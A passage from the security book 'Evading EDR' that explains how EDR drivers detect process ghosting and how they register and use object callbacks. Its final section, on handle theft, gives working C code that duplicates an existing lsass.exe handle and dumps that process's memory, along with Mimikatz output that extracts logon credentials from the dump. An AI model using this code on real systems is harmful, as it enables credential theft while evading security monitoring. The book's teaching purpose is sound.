image path, it still provides valuable information, as you can see in Listing 3-17. 0: kd> dt nt!_EPROCESS ImageFileName @$proc +0x5a8 ImageFileName : [15] "THFA8.tmp" Listing 3-17: Reading the ImageFileName member of the EPROCESS structure The returned filename should have already attracted attention, as .tmp files aren’t very common executables. In order to determine whether image tampering might have taken place, we’ll query the PEB. A few locations in the PEB will return the image path: ProcessParameters.ImagePathName and Ldr. InMemoryOrderModuleList. Let’s use WinDbg to demonstrate this (Listing 3-18). 1: kd> dt nt!_PEB ProcessParameters @$peb +0x020 ProcessParameters : 0x000001c1`c9a71b80 _RTL_USER_PROCESS_PARAMETERS 1: kd> dt nt!_RTL_USER_PROCESS_PARAMETERS ImagePathName poi(@$peb+0x20) +0x060 ImagePathName : _UNICODE_STRING "C:\WINDOWS\system32\notepad.exe" Listing 3-18: Extracting the process image’s path from ImagePathName As shown in the WinDbg output, the PEB reports the process image’s path as C:\Windows\System32\notepad.exe. We can verify this by querying the Ldr.InMemoryOrderModuleList field, shown in Listing 3-19. 1: kd> !peb PEB at 0000002d609b9000 InheritedAddressSpace: No ReadImageFileExecOptions: No Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   55 BeingDebugged: No ImageBaseAddress: 00007ff60edc0000 NtGlobalFlag: 0 NtGlobalFlag2: 0 Ldr 00007ffc74c1a4c0 Ldr.Initialized: Yes Ldr.InInitializationOrderModuleList: 000001c1c9a72390 . 000001c1c9aa7f50 Ldr.InLoadOrderModuleList: 000001c1c9a72500 . 000001c1c9aa8520 Ldr.InMemoryOrderModuleList: 000001c1c9a72510 . 000001c1c9aa8530 Base Module 1 7ff60edc0000 C:\WINDOWS\system32\notepad.exe Listing 3-19: Extracting the process image’s path from InMemoryOrderModuleList You can see here that notepad.exe is the first image in the module list 1. In my testing, this should always be the case. If an EDR found a mismatch like this between the image name reported in the process structures and in the PEB, it could reasonably say that some type of process-image tampering had occurred. It couldn’t, however, determine which technique the attacker had used. To make that call, it would have to collect additional information. The EDR might first try to investigate the file directly, such as by scan- ning its contents through the pointer stored in the process structure’s ImageFilePointer field. If malware created the process by passing an image section object through the legacy process-creation API, as in the proof of concept, this member will be empty (Listing 3-20). 1: kd> dt nt!_EPROCESS ImageFilePointer @$proc +0x5a0 ImageFilePointer : (null) Listing 3-20: The empty ImageFilePointer field The use of the legacy API to create a process from a section is a major indicator that something weird is going on. At this point, the EDR can reasonably say that this is what happened. To support this assumption, the EDR could also check whether the process is minimal or pico (derived from a minimal process), as shown in Listing 3-21. 1: kd> dt nt!_EPROCESS Minimal PicoCreated @$proc +0x460 PicoCreated : 0y0 +0x87c Minimal : 0y0 Listing 3-21: The Minimal and PicoCreated members set to false Another place to look for anomalies is the virtual address descriptor (VAD) tree used for tracking a process’s contiguous virtual memory allo- cations. The VAD tree can provide very useful information about loaded modules and the permissions of memory allocations. The root of this tree is stored in the VadRoot member of the process structure, which we can’t directly retrieve through a Microsoft-supplied API, but you can find a refer- ence implementation in Blackbone, a popular driver used for manipulating memory. Evading EDR (Early Access) © 2023 by Matt Hand 56   Chapter 3 To detect process-image modifications, you’ll probably want to look at the mapped allocation types, which include READONLY file mappings, such as the COM+ catalog files (for example, C:\Windows\Registration\Rxxxxxxx1 .clb), and EXECUTE_WRITECOPY executable files. In the VAD tree, you’ll commonly see the Win32-rooted path for the process image (in other words, the executable file that backs the process as the first mapped execut- able). Listing 3-22 shows the truncated output of WinDbg’s !vad command. 0: kd> !vad VAD Commit ffffa207d5c88d00 7 Mapped NO_ACCESS Pagefile section, shared commit 0x1293 ffffa207d5c89340 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\notepad.exe ffffa207dc976c90 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\oleacc.dll Listing 3-22: The output of the !vad command in WinDbg for a normal process The output of this tool shows mapped allocations for an unmodified notepad.exe process. Now let’s see how they look in a ghosted process (Listing 3-23). 0: kd> !vad VAD Commit ffffa207d5c96860 2 Mapped NO_ACCESS Pagefile section, shared commit 0x1293 ffffa207d5c967c0 6 Mapped Exe EXECUTE_WRITECOPY \Users\dev\AppData\Local\Temp\THF53.tmp ffffa207d5c95a00 9 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\gdi32full.dll Listing 3-23: The output of the !vad command for a ghosted process This mapped allocation shows the path to the .tmp file instead of the path to notepad.exe. Now that we know the path to the image of interest, we can investi- gate it further. One way to accomplish this is to use the ntdll!NtQueryInfor mationFile() API with the FileStandardInformation class, which will return a FILE_STANDARD_INFORMATION structure. This structure contains the DeletePending field, which is a Boolean indicating whether the file has been marked for deletion. Under normal circumstances, you could also pull this informa- tion from the DeletePending member of the FILE_OBJECT structure. Inside the EPROCESS structure for the relevant process, this is pointed to by the ImageFilePointer member. In the case of the ghosted process, this pointer will be null, so the EDR can’t use it. Listing 3-24 shows what a normal pro- cess’s image file pointer and deletion status should look like. 2: kd> dt nt!_EPROCESS ImageFilePointer @$proc +0x5a0 ImageFilePointer : 0xffffad8b`a3664200 _FILE_OBJECT 2: kd> dt nt!_FILE_OBJECT DeletePending 0xffffad8b`a3664200 +0x049 DeletePending : 0 ‘ ’ Listing 3-24: Normal ImageFilePointer and DeletePending members This listing is from a notepad.exe process executed under normal condi- tions. In a ghosted process, the image file pointer would be an invalid value, and thus, the deletion status flag would also be invalid. Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   57 After observing the difference between a normal instance of notepad.exe and one that has been ghosted, we’ve identified a few indicators: • There will be a mismatch between the paths in the ImagePathName inside the ProcessParameters member of the process’s PEB and the ImageFileName in its EPROCESS structure. • The process structure’s image file pointer will be null and its Minimal and PicoCreated fields will be false. • The filename may be atypical (this isn’t a requirement, however, and the user can control this value). When the EDR driver receives the new process-creation structure from its process-creation callback, it will have access to the key informa- tion needed to build a detection. Namely, in the case of process ghost- ing, it can use ImageFileName, FileObject, and IsSubsystemProcess to identify potentially ghosted processes. Listing 3-25 shows what this driver logic could look like. void ProcessCreationNotificationCallback( PEPROCESS pProcess, HANDLE hPid, PPS_CREATE_NOTIFY_INFO psNotifyInfo) { if (pNotifyInfo) { 1 if (!pNotifyInfo->FileObject && !pNotifyInfo->IsSubsystemProcess) { PUNICODE_STRING pPebImage = NULL; PUNICODE_STRING pPebImageNtPath = NULL; PUNICODE_STRING pProcessImageNtPath = NULL; 2 GetPebImagePath(pProcess, pPebImage); CovertPathToNt(pPebImage, pPebImageNtPath); 3 CovertPathToNt(psNotifyInfo->ImageFileName, pProcessImageNtPath); if (RtlCompareUnicodeString(pPebImageNtPath, pProcessImageNtPath, TRUE)) { --snip-- } } } --snip-- } Listing 3-25: Detecting ghosted processes with the driver We first check whether the file pointer is null even though the process being created isn’t a subsystem process 1, meaning it was likely created with the legacy process-creation API. Next, we use two mock helper func- tions 2 to return the process image path from the PEB and convert it to Evading EDR (Early Access) © 2023 by Matt Hand 58   Chapter 3 the NT path. We then repeat this process using the image filename from the process structure for the newly created process 3. After that, we com- pare the image paths in the PEB and process structure. If they’re not equal, we’ve likely found a suspicious process, and it’s time for the EDR to take some action. A Process Injection Case Study: Fork&run Over time, shifts in attacker tradecraft have affected the importance, to EDR vendors, of detecting suspicious process-creation events. After gaining access to a target system, attackers may leverage any number of command- and-control agents to perform their post-exploitation activities. Each mal- ware agent’s developers must decide how to handle communications with the agent so that they can execute commands on the infected system. While there are numerous approaches to tackling this problem, the most common architecture is referred to as fork&run. Fork&run works by spawning a sacrificial process into which the pri- mary agent process injects its post-exploitation tasking, allowing the task to execute independently of the agent. This comes with the advantage of sta- bility; if a post-exploitation task running inside the primary agent process has an unhandled exception or fault, it could cause the agent to exit. As a result, the attacker could lose access to the environment. The architecture also streamlines the agent’s design. By providing a host process and a means of injecting its post-exploitation capabilities, the developer makes it easier to integrate new features into the agent. Additionally, by keeping post-exploitation tasking contained in another process, the agent doesn’t need to worry too much about cleanup and can instead terminate the sacrificial process altogether. Leveraging fork&run in an agent is so simple that many operators might not even realize they’re using it. One of the most popular agents that makes heavy use of fork&run is Cobalt Strike’s Beacon. Using Beacon, the attacker can specify a sacrificial process, either through their Malleable profile or through Beacon’s integrated commands, into which they can inject their post-exploitation capabilities. Once the target is set, Beacon will spawn this sacrificial process and inject its code whenever a post-exploita- tion job that requires fork&run is queued. The sacrificial process is respon- sible for running the job and returning output before exiting. However, this architecture poses a large risk to operational security. Attackers now have to evade so many detections that leveraging the built- in features of an agent like Beacon often isn’t viable. Instead, many teams now use their agent only as a method for injecting their post-exploitation tooling code and maintaining access to the environment. An example of this trend is the rise of offensive tooling written in C# and primarily lever- aged through Beacon’s execute-assembly, a way to execute .NET assemblies in memory that makes use of fork&run under the hood. Because of this shift in tradecraft, EDRs highly scrutinize process creation from numerous angles, ranging from the relative frequency of Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   59 the parent–child relationship in the environment to whether the process’s image is a .NET assembly. Yet, as EDR vendors became better at detecting the “create a process and inject into it” pattern, attackers have begun to consider spawning a new process to be highly risky and have looked for ways to avoid doing it. One of the biggest challenges for EDR vendors came in version 4.1 of Cobalt Strike, which introduced Beacon Object Files (BOFs). BOFs are small programs written in C that are meant to be run in the agent process, avoiding fork&run entirely. Capability developers could continue to use their existing development process but leverage this new architecture to achieve the same results in a safer manner. If attackers remove the artifacts from fork&run, EDR vendors must rely on other pieces of telemetry for their detections. Fortunately for vendors, BOFs only remove the process-creation and injection telemetry related to the sacrificial process creation. They don’t do anything to hide the post- exploitation tooling’s artifacts, such as network traffic, filesystem interac- tions, or API calls. This means that, while BOFs do make detection more difficult, they are not a silver bullet. Conclusion Monitoring the creation of new processes and threads is an immensely important capability for any EDR. It facilitates the mapping of parent–child relationships, the investigation of suspect processes prior to their execution, and the identification of remote thread creation. Although Windows pro- vides other ways to obtain this information, process- and thread-creation callback routines inside the EDR’s driver are by far the most common. In addition to having a great deal of visibility into activity on the system, these callbacks are challenging to evade, relying on gaps in coverage and blind spots rather than fundamental flaws in the underlying technology. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand Process and thread events are only the tip of the iceberg when it comes to monitoring system activity with callback routines. On Windows, developers can also capture requests for handles to objects, which provide valuable telem- etry related to adversary activity. Objects are a way to abstract resources such as files, processes, tokens, and registry keys. A centralized broker, aptly named the object manager, han- dles tasks like overseeing the creation and destruction of objects, keeping track of resource assignments, and managing an object’s lifetime. In addi- tion, the object manager notifies registered callbacks when code requests handles to processes, threads, and desktop objects. EDRs find these notifi- cations useful because many attacker techniques, from credential dumping to remote process injection, involve opening such handles. In this chapter, we explore one function of the object manager: its abil- ity to notify drivers when certain types of object-related actions occur on the system. Then, of course, we discuss how attackers can evade these detec- tion activities. 4 OBJEC T NOT IF IC AT ION S Evading EDR (Early Access) © 2023 by Matt Hand 62   Chapter 4 How Object Notifications Work As for all the other notification types, EDRs can register an object-callback routine using a single function, in this case, nt!ObRegisterCallbacks(). Let’s take a look at this function to see how it works and then practice imple- menting an object-callback routine. Registering a New Callback At first glance, the registration function seems simple, requiring only two pointers as parameters: the CallbackRegistration parameter, which speci- fies the callback routine itself and other registration information, and the RegistrationHandle, which receives a value passed when the driver wishes to unregister the callback routine. Despite the function’s simple definition, the structure passed in via the CallbackRegistration parameter is anything but. Listing 4-1 shows its definition. typedef struct _OB_CALLBACK_REGISTRATION { USHORT Version; USHORT OperationRegistrationCount; UNICODE_STRING Altitude; PVOID RegistrationContext; OB_OPERATION_REGISTRATION *OperationRegistration; } OB_CALLBACK_REGISTRATION, *POB_CALLBACK_REGISTRATION; Listing 4-1: The OB_CALLBACK_REGISTRATION structure definition You’ll find some of these values to be fairly straightforward. The version of the object-callback registration will always be OB_FLT_REGISTRATION_VERSION (0x0100). The OperationRegistrationCount member is the number of callback registration structures passed in the OperationRegistration member, and the RegistrationContext is some value passed as is to the callback routines when- ever they are invoked and is set to null more often than not. The Altitude member is a string indicating the order in which the call- back routines should be invoked. A pre-operation routine with a higher alti- tude will run earlier and a post-operation routine with a higher altitude will execute later. You can set this value to anything so long as the value isn’t in use by another driver’s routines. Thankfully, Microsoft allows the use of decimal numbers, rather than merely whole numbers, reducing the overall chances of altitude collisions. This registration function centers on its OperationRegistration parameter and the array of registration structures it points to. This structure’s defini- tion is shown in Listing 4-2. Each structure in this array specifies whether the function is registering a pre-operation or post-operation callback routine. typedef struct _OB_OPERATION_REGISTRATION { POBJECT_TYPE *ObjectType; OB_OPERATION Operations; POB_PRE_OPERATION_CALLBACK PreOperation; Evading EDR (Early Access) © 2023 by Matt Hand Object Notifications   63 POB_POST_OPERATION_CALLBACK PostOperation; } OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION; Listing 4-2: The OB_OPERATION_REGISTRATION structure definition Table 4-1 describes each member and its purpose. If you’re curious about what exactly a driver is monitoring, these structures hold the bulk of the information in which you’ll be interested. Table 4-1: Members of the OB_OPERATION_REGISTRATION Structure Member Purpose ObjectType A pointer to the type of object the driver developer wishes to monitor. At the time of this writing, there are three supported values: PsProcessType (processes)PsThreadType (threads)ExDesktopObjectT ype (desktops) Operations A flag indicating the type of handle operation to be monitored. This can be either OB_OPERATION_HANDLE_CREATE, to monitor requests for new handles, or OB_OPERATION_HANDLE_DUPLICATE, to monitor handle- duplication requests. åPreOperation A pointer to a pre-operation callback routine. This routine will be invoked before the handle operation completes. PostOperation A pointer to a post-operation callback routine. This routine will be invoked after the handle operation completes. We’ll discuss these members further in “Detecting a Driver’s Actions Once Triggered” on page XX. Monitoring New and Duplicate Process-Handle Requests EDRs commonly implement pre-operation callbacks to monitor new and duplicate process-handle requests. While monitoring thread- and desktop-handle requests can also be useful, attackers request process handles more frequently, so they generally provide more relevant informa- tion. Listing 4-3 shows how an EDR might implement such a callback in a driver. PVOID g_pObCallbackRegHandle; NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath) { NTSTATUS status = STATUS_SUCCESS; OB_CALLBACK_REGISTRATION CallbackReg; OB_OPERATION_REGISTRATION OperationReg; RtlZeroMemory(&CallbackReg, sizeof(OB_CALLBACK_REGISTRATION)); RtlZeroMemory(&OperationReg, sizeof(OB_OPERATION_REGISTRATION)); --snip-- CallbackReg.Version = OB_FLT_REGISTRATION_VERSION; 1 CallbackReg.OperationRegistrationCount = 1; Evading EDR (Early Access) © 2023 by Matt Hand 64   Chapter 4 RtlInitUnicodeString(&CallbackReg.Altitude, 2 L"28133.08004"); CallbackReg.RegistrationContext = NULL; OperationReg.ObjectType = 3 PsProcessType; OperationReg.Operations = 4 OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; 5 OperationReg.PreOperation = ObjectNotificationCallback; CallbackReg.OperationRegistration = 6 &OperationReg; status = 7 ObRegisterCallbacks(&CallbackReg, &g_pObCallbackRegHandle); if (!NT_SUCCESS(status)) { return status; } --snip-- } OB_PREOP_CALLBACK_STATUS ObjectNotificationCallback( PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info) { --snip-- } Listing 4-3: Registering a pre-operation callback notification routine In this example driver, we begin by populating the callback registration structure. The two most important members are OperationRegistrationCount, which we set to 1, indicating that we’re registering only one callback routine 1, and the altitude, which we set to an arbitrary value 2 to avoid collisions with other drivers’ routines. Next, we set up the operation-registration structure. We set ObjectType to PsProcessType 3 and Operations to values that indicate we’re interested in monitoring new or duplicate process-handle operations 4. Lastly, we set our PreOperation member to point to our internal callback function 5. Finally, we tie our operation-registration structure into the callback reg- istration structure by passing a pointer to it in the OperationRegistration mem- ber 6. At this point, we’re ready to call the registration function 7. When this function completes, our callback routine will start receiving events, and we’ll receive a value that we can pass to the registration function to unregis- ter the routine. Detecting Objects an EDR Is Monitoring How can we detect which objects an EDR is monitoring? As with the other types of notifications, when a registration function is called, the system will add the callback routine to an array of routines. In the case of object call- backs, however, the array isn’t quite as straightforward as others. Remember those pointers we passed into the operation-registration structure to say what type of object we were interested in monitoring? So Evading EDR (Early Access) © 2023 by Matt Hand Object Notifications   65 far in this book, we’ve mostly encountered pointers to structures, but these pointers instead reference values in an enumeration. Let’s take a look at nt!PsProcessType to see what’s going on. Object types like nt!PsProcessType are really OBJECT_TYPE structures. Listing 4-4 shows what these look like on a live system using the WinDbg debugger. 2: kd> dt nt!_OBJECT_TYPE poi(nt!PsProcessType) +0x000 TypeList : _LIST_ENTRY [ 0xffffad8b`9ec8e220 - 0xffffad8b`9ec8e220 ] +0x010 Name : _UNICODE_STRING "Process" +0x020 DefaultObject : (null) +0x028 Index : 0x7 ' ' +0x02c TotalNumberOfObjects : 0x7c +0x030 TotalNumberOfHandles : 0x4ce +0x034 HighWaterNumberOfObjects : 0x7d +0x038 HighWaterNumberOfHandles : 0x4f1 +0x040 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x0b8 TypeLock : _EX_PUSH_LOCK +0x0c0 Key : 0x636f7250 +0x0c8 CallbackList : _LIST_ENTRY [ 0xffff9708`64093680 - 0xffff9708`64093680 ] Listing 4-4: The nt!_OBJECT_TYPE pointed to by nt!PsProcessType The CallbackList entry at offset 0x0c8 is particularly interesting to us, as it points to a LIST_ENTRY structure, which is the entry point, or header, of a doubly linked list of callback routines associated with the process object type. Each entry in the list points to an undocumented CALLBACK_ENTRY_ITEM structure. This structure’s definition is included in Listing 4-5. Typedef struct _CALLBACK_ENTRY_ITEM { LIST_ENTRY EntryItemList; OB_OPERATION Operations; DWORD Active; PCALLBACK_ENTRY CallbackEntry; POBJECT_TYPE ObjectType; POB_PRE_OPERATION_CALLBACK PreOperation; POB_POST_OPERATION_CALLBACK PostOperation; __int64 unk; } CALLBACK_ENTRY_ITEM, * PCALLBACK_ENTRY_ITEM; Listing 4-5: The CALLBACK_ENTRY_ITEM structure definition The PreOperation member of this structure resides at offset 0x028. If we can traverse the linked list of callbacks and get the symbol at the address pointed to by this member in each structure, we can enumerate the driv- ers that are monitoring process-handle operations. WinDbg comes to the rescue once again, as it supports scripting to do exactly what we want, as demonstrated in Listing 4-6. 2: kd> !list -x ".if (poi(@$extret+0x28) != 0) { lmDva (poi(@$extret+0x28)); }" (poi(nt!PsProcessType)+0xc8) Browse full module list start end module name Evading EDR (Early Access) © 2023 by Matt Hand 66   Chapter 4 fffff802`73b80000 fffff802`73bf2000 WdFilter (no symbols) Loaded symbol image file: WdFilter.sys 1 Image path: \SystemRoot\system32\drivers\wd\WdFilter.sys Image name: WdFilter.sys Browse all global symbols functions data Image was built with /Brepro flag. Timestamp: 629E0677 (This is a reproducible build file hash, not a timestamp) CheckSum: 0006EF0F ImageSize: 00072000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 Information from resource tables: Listing 4-6: Enumerating pre-operation callbacks for process-handle operations This debugger command essentially says, “Traverse the linked list starting at the address pointed to by the CallbackList member of the nt!_OBJECT_TYPE structure for nt!PsProcessType, printing out the module infor- mation if the address pointed to by the PreOperation member is not null.” On my test system, Defender’s WdFilter.sys 1 is the only driver with a reg- istered callback. On a real system with an EDR deployed, you will almost cer- tainly see the EDR’s driver registered alongside Defender. You can use the same process to enumerate callbacks that monitor thread- or desktop-handle operations, but those are usually far less common. Additionally, if Microsoft were to add the ability to register callbacks for other types of object-handle operations, such as for tokens, this process could enumerate them as well. Detecting a Driver’s Actions Once Triggered While you’ll find it useful to know what types of objects an EDR is interested in monitoring, the most valuable piece of information is what the driver actually does when triggered. An EDR can do a bunch of things, from silently observing the code’s activities to actively interfering with requests. To understand what the driver might do, we first need to look at the data with which it works. When some handle operation invokes a registered callback, the call- back will receive a pointer to either an OB_PRE_OPERATION_INFORMATION struc- ture, if it is a pre-operation callback, or an OB_POST_OPERATION_INFORMATION structure, if it is a post-operation routine. These structures are very similar, but the post-operation version contains only the return code of the handle operation, and its data can’t be changed. Pre-operation callbacks are far more prevalent because they offer the driver the ability to intercept and modify the handle operation. Therefore, we’ll focus our attention on the pre-operation structure, shown in Listing 4-7. typedef struct _OB_PRE_OPERATION_INFORMATION { OB_OPERATION Operation; union { ULONG Flags; struct { ULONG KernelHandle : 1; ULONG Reserved : 31; Evading EDR (Early Access) © 2023 by Matt Hand Object Notifications   67 }; }; PVOID Object; POBJECT_TYPE ObjectType; PVOID CallContext; POB_PRE_OPERATION_PARAMETERS Parameters; } OB_PRE_OPERATION_INFORMATION, *POB_PRE_OPERATION_INFORMATION; Listing 4-7: The OB_PRE_OPERATION_INFORMATION structure definition Just like the process of registering the callback, parsing the notifica- tion data is a little more complex than it looks. Let’s step through the important pieces together. First, the Operation handle identifies whether the operation being performed is the creation of a new handle or the duplication of an existing one. An EDR’s developer can use this handle to take different actions based on the type of operation it is processing. Also, if the KernelHandle value isn’t zero, the handle is a kernel handle, and a callback function will rarely process it. This allows the EDR to further reduce the scope of events that it needs to monitor to provide effective coverage. The Object pointer references the handle operation’s target. The driver can use it to further investigate this target, such as to get information about its process. The ObjectType pointer indicates whether the operation is target- ing a process or a thread, and the Parameters pointer references a structure that indicates the type of operation being processed (either handle creation or duplication). The driver uses pretty much everything in this structure leading up to the Parameters member to filter the operation. Once it knows what type of object it is working with and what types of operations it will be processing, it will rarely perform additional checks beyond figuring out whether the han- dle is a kernel handle. The real magic begins once we start processing the structure pointed to by the Parameters member. If the operation is for the creation of a new handle, we’ll receive a pointer to the structure defined in Listing 4-8. typedef struct _OB_PRE_CREATE_HANDLE_INFORMATION { ACCESS_MASK DesiredAccess; ACCESS_MASK OriginalDesiredAccess; } OB_PRE_CREATE_HANDLE_INFORMATION, *POB_PRE_CREATE_HANDLE_INFORMATION; Listing 4-8: The OB_PRE_CREATE_HANDLE_INFORMATION structure definition The two ACCESS_MASK values both sp+ecify the access rights to grant to the handle. These might be set to values like PROCESS_VM_OPERATION or THREAD_ SET_THREAD_TOKEN, which code might pass to kernel functions in the dwDesiredAccess parameter when opening a process or thread. You may be wondering why this structure contains two copies of the same value. Well, the reason is that pre-operation notifications give the driver the ability to modify requests. Let’s say the driver wants to prevent processes from reading the memory of the lsass.exe process. To read that Evading EDR (Early Access) © 2023 by Matt Hand 68   Chapter 4 process’s memory, the attacker would first need to open a handle with the appropriate rights, so they might request PROCESS_ALL_ACCESS. The driver would receive this new process-handle notification and see the requested access mask in the structure’s OriginalDesiredAccess member. To prevent the access, the driver could remove PROCESS_VM_READ by flipping the bit associated with this access right in the DesiredAccess member using the bitwise complement operator (~). Flipping this bit stops the handle from gaining that particular right but allows it to retain all the other requested rights. If the operation is for the duplication of an existing handle, we’ll receive a pointer to the structure defined in Listing 4-9, which includes two additional pointers. typedef struct _OB_PRE_DUPLICATE_HANDLE_INFORMATION { ACCESS_MASK DesiredAccess; ACCESS_MASK OriginalDesiredAccess; PVOID SourceProcess; PVOID TargetProcess; } OB_PRE_DUPLICATE_HANDLE_INFORMATION, *POB_PRE_DUPLICATE_HANDLE_INFORMATION; Listing 4-9: The OB_PRE_DUPLICATE_HANDLE_INFORMATION structure definition The SourceProcess member is a pointer to the process object from which the handle originated, and TargetProcess is a pointer to the pro- cess receiving the handle. These match the hSourceProcessHandle and hTargetProcessHandle parameters passed to the handle-duplication kernel function. Evading Object Callbacks During an Authentication Attack Undeniably one of the processes that attackers target most often is lsass. exe, which is responsible for handling authentication in user mode. Its address space may contain cleartext authentication credentials that attack- ers can extract with tools such as Mimikatz, ProcDump, and even the Task Manager. Because attackers have targeted lsass.exe so extensively, security vendors have invested considerable time and effort into detecting its abuse. Object- callback notifications are one of their strongest data sources for this pur- pose. To determine whether activity is malicious, many EDRs rely on three pieces of information passed to their callback routine on each new process- handle request: the process from which the request was made, the process for which the handle is being requested, and the access mask, or the rights requested by the calling process. For example, when an operator requests a new process handle to lsass.exe, the EDR’s driver will determine the identity of the calling pro- cess and check whether the target is lsass.exe. If so, it might evaluate the requested access rights to see whether the requestor asked for PROCESS_VM_ READ, which it would need to read process memory. Next, if the requestor Evading EDR (Early Access) © 2023 by Matt Hand Object Notifications   69 doesn’t belong to a list of processes that should be able to access lsass.exe, the driver might opt to return an invalid handle or one with a modified access mask and notify the agent of the potentially malicious behavior. N O T E Defenders can sometimes identify specific hacking tools based on the access masks requested. Many offensive tools request excessive access masks, such as PROCESS_ALL_ ACCESS, or atypical ones, such as Mimikatz’s request for PROCESS_VM_READ | PROCESS_ QUERY_LIMITED_INFORMATION, when opening process handles. In summary, an EDR makes three assumptions in its detection strategy: that the calling process will open a new handle to lsass.exe, that the process will be atypical, and that the requested access mask will allow the requestor to read lsass.exe’s memory. Attackers might be able to use these assumptions to bypass the detection logic of the agent. Performing Handle Theft One way that attackers can evade detection is to duplicate a handle to lsass. exe owned by another process. They can discover these handles through the ntdll!NtQuerySystemInformation() API, which provides an incredibly useful feature: the ability to view the system’s handle table as an unprivileged user. This table contains a list of all the handles open on the systems, including objects such as mutexes, files, and, most importantly, processes. Listing 4-10 shows how malware might query this API. PSYSTEM_HANDLE_INFORMATION GetSystemHandles() { NTSTATUS status = STATUS_SUCCESS; PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL; ULONG ulSize = sizeof(SYSTEM_HANDLE_INFORMATION); pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(ulSize); if (!pHandleInfo) { return NULL; } status = NtQuerySystemInformation( 1 SystemHandleInformation, pHandleInfo, ulSize, &ulSize); while (status == STATUS_INFO_LENGTH_MISMATCH) { free(pHandleInfo); pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(ulSize); status = NtQuerySystemInformation( SystemHandleInformation, 1 2 pHandleInfo, ulSize, &ulSize); } Evading EDR (Early Access) © 2023 by Matt Hand 70   Chapter 4 if (status != STATUS_SUCCESS) { return NULL; } } Listing 4-10: Retrieving the table of handles By passing the SystemHandleInformation information class to this function 1, the user can retrieve an array containing all the active handles on the system. After this function completes, it will store the array in a member variable of the SYSTEM_HANDLE_INFORMATION structure 2. Next, the malware could iterate over the array of handles, as shown in Listing 4-11, and filter out those it can’t use. for (DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleInfo->Handles[i]; 1 if (handleInfo.UniqueProcessId != g_dwLsassPid && handleInfo.UniqueProcessId != 4) { HANDLE hTargetProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, handleInfo.UniqueProcessId); if (hTargetProcess == NULL) { continue; } HANDLE hDuplicateHandle = NULL; if (!DuplicateHandle( hTargetProcess, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &hDuplicateHandle, 0, 0, DUPLICATE_SAME_ACCESS)) { continue; } status = NtQueryObject( hDuplicateHandle, ObjectTypeInformation, NULL, 0, &ulReturnLength); if (status == STATUS_INFO_LENGTH_MISMATCH) { PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInfo = (PPUBLIC_OBJECT_TYPE_INFORMATION)malloc(ulReturnLength); if (!pObjectTypeInfo) { break; } Evading EDR (Early Access) © 2023 by Matt Hand Object Notifications   71 status = NtQueryObject( hDuplicateHandle, 2 ObjectTypeInformation, pObjectTypeInfo, ulReturnLength, &ulReturnLength); if (status != STATUS_SUCCESS) { continue; } 3 if (!_wcsicmp(pObjectTypeInfo->TypeName.Buffer, L"Process")) { --snip-- } free(pObjectTypeInfo); } } } Listing 4-11: Filtering only for process handles We first make sure that neither lsass.exe nor the system process owns the handle 1, as this could trigger some alerting logic. We then call ntdll!NtQueryObject(), passing in ObjectTypeInformation 2 to get the type of the object to which the handle belongs. Following this, we determine whether the handle is for a process object 3 so that we can filter out all the other types, such as files and mutexes. After completing this basic filtering, we need to investigate the handles a little more to make sure they have the access rights that we need to dump process memory. Listing 4-12 builds upon the previous code listing. if (!_wcsicmp(pObjectTypeInfo->TypeName.Buffer, L"Process")) { LPWSTR szImageName = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR)); DWORD dwSize = MAX_PATH * sizeof(WCHAR); 1 if (QueryFullProcessImageNameW(hDuplicateHandle, 0, szImageName, &dwSize)) { if (IsLsassHandle(szImageName) && (handleEntryInfo.GrantedAccess & PROCESS_VM_READ) == PROCESS_VM_READ && (handleEntryInfo.GrantedAccess & PROCESS_QUERY_INFORMATION) == PROCESS_QUERY_INFORMATION) { HANDLE hOutFile = CreateFileW( L"C:\\lsa.dmp", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); Evading EDR (Early Access) © 2023 by Matt Hand 72   Chapter 4 2 if (MiniDumpWriteDump( hDuplicateHandle, dwLsassPid, hOutFile, MiniDumpWithFullMemory, NULL, NULL, NULL)) { break; } CloseHandle(hOutFile); } } } Listing 4-12: Evaluating duplicated handles and dumping memory We first get the image name for the process 1 and pass it to an internal function, IsLsassHandle(), which makes sure that the process handle is for lsass.exe. Next, we check the handle’s access rights, looking for PROCESS_VM _READ and PROCESS_QUERY_INFORMATION, because the API we’ll use to read lsass.exe’s process memory requires these. If we find an existing handle to lsass.exe with the required access rights, we pass the duplicated handle to the API and extract its information 2. Using this new handle, we could create and process an lsass.exe memory dump with a tool such as Mimikatz. Listing 4-13 shows this workflow. C:\> HandleDuplication.exe LSASS PID: 884 [+] Found a handle with the required rights! Owner PID: 17600 Handle Value: 0xff8 Granted Access: 0x1fffff [>] Dumping LSASS memory to the DMP file . . . [+] Dumped LSASS memory C:\lsa.dmp C:\> mimikatz.exe mimikatz # sekurlsa::minidump C:\lsa.dmp Switch to MINIDUMP : 'C:\lsa.dmp' mimikatz # sekurlsa::logonpasswords Opening : 'C:\lsa.dmp' file for minidump . . . Authentication Id : 0 ; 6189696 (00000000:005e7280) Session : RemoteInteractive from 2 User Name : highpriv Domain : MILKYWAY Logon Server : SUN --snip-- Listing 4-13: Dumping lsass.exe’s memory and processing the minidump with Mimikatz Evading EDR (Early Access) 